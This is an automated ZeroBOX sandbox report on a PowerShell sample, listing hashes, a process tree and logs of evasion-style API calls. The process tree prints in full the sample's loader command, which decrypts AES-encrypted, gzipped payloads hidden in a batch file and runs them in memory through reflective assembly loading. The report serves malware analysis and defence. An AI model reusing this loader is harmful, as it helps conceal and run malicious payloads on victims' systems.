Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 18, 2024, 11:06 a.m.	July 18, 2024, 11:09 a.m.

Size	1.3MB
Type	ASCII text
MD5	`d7f49d9cb663a5aab495beb612a8e415`
SHA256	`60b4b34a1db6121c930f5ad4f16ba8dc4566bf5d13c71eee0eb7f85b3e6faaea`
CRC32	`7E288085`
ssdeep	`24576:x07OmdXz94PoaX94cf1mID14fdZN0OftFr:+X4o+121ZHP`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\bin.ps1
2552
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\TfTatticasupdater.bat" "
  2704
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('ChVO1+OS14WL1QUy/flynTXrlSOhgp9SBTxTD/evU9c='); $aes_var.IV=[System.Convert]::FromBase64String('DrXQO2PcC7l+n4nK5t3A3w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vmUPQ=New-Object System.IO.MemoryStream(,$param_var); $BuLGM=New-Object System.IO.MemoryStream; $WgbCU=New-Object System.IO.Compression.GZipStream($vmUPQ, [IO.Compression.CompressionMode]::Decompress); $WgbCU.CopyTo($BuLGM); $WgbCU.Dispose(); $vmUPQ.Dispose(); $BuLGM.Dispose(); $BuLGM.ToArray();}function execute_function($param_var,$param2_var){ $FCyIR=[System.Reflection.Assembly]::Load([byte[]]$param_var); $KsCoS=$FCyIR.EntryPoint; $KsCoS.Invoke($null, $param2_var);}$wrlhT = 'C:\Users\test22\AppData\Local\Temp\TfTatticasupdater.bat';$host.UI.RawUI.WindowTitle = $wrlhT;$oaQMV=[System.IO.File]::ReadAllText($wrlhT).Split([Environment]::NewLine);foreach ($eJDDT in $oaQMV) { if ($eJDDT.StartsWith('nsiwjFslDvZfvwXwOXvp')) { $DoMTi=$eJDDT.Substring(20); break; }}$payloads_var=[string[]]$DoMTi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
    2788
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    2824

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 18, 2024, 11:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2024, 11:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2024, 11:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2024, 11:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 18, 2024, 11:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2024, 11:06 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 18, 2024, 11:06 a.m.			0	0

Command line console output was observed (50 out of 385 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2024, 11:06 a.m.	buffer: cls console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (40 events)

Time & API	Arguments	Status	Return
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691440 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691e00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691e00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691e00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691e00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691e00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691e00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006915c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006915c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006915c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691840 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691b40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691180 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2024, 11:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00691680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 18, 2024, 11:06 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 134 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021ef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 851968 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a50000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02802000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0282a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02803000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02804000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0287b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02877000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02822000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02875000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02805000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0282c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02c70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02806000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0287c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02823000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02824000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02825000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02826000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02827000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02828000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02829000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05310000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05311000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05312000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05313000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05314000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05315000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05316000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
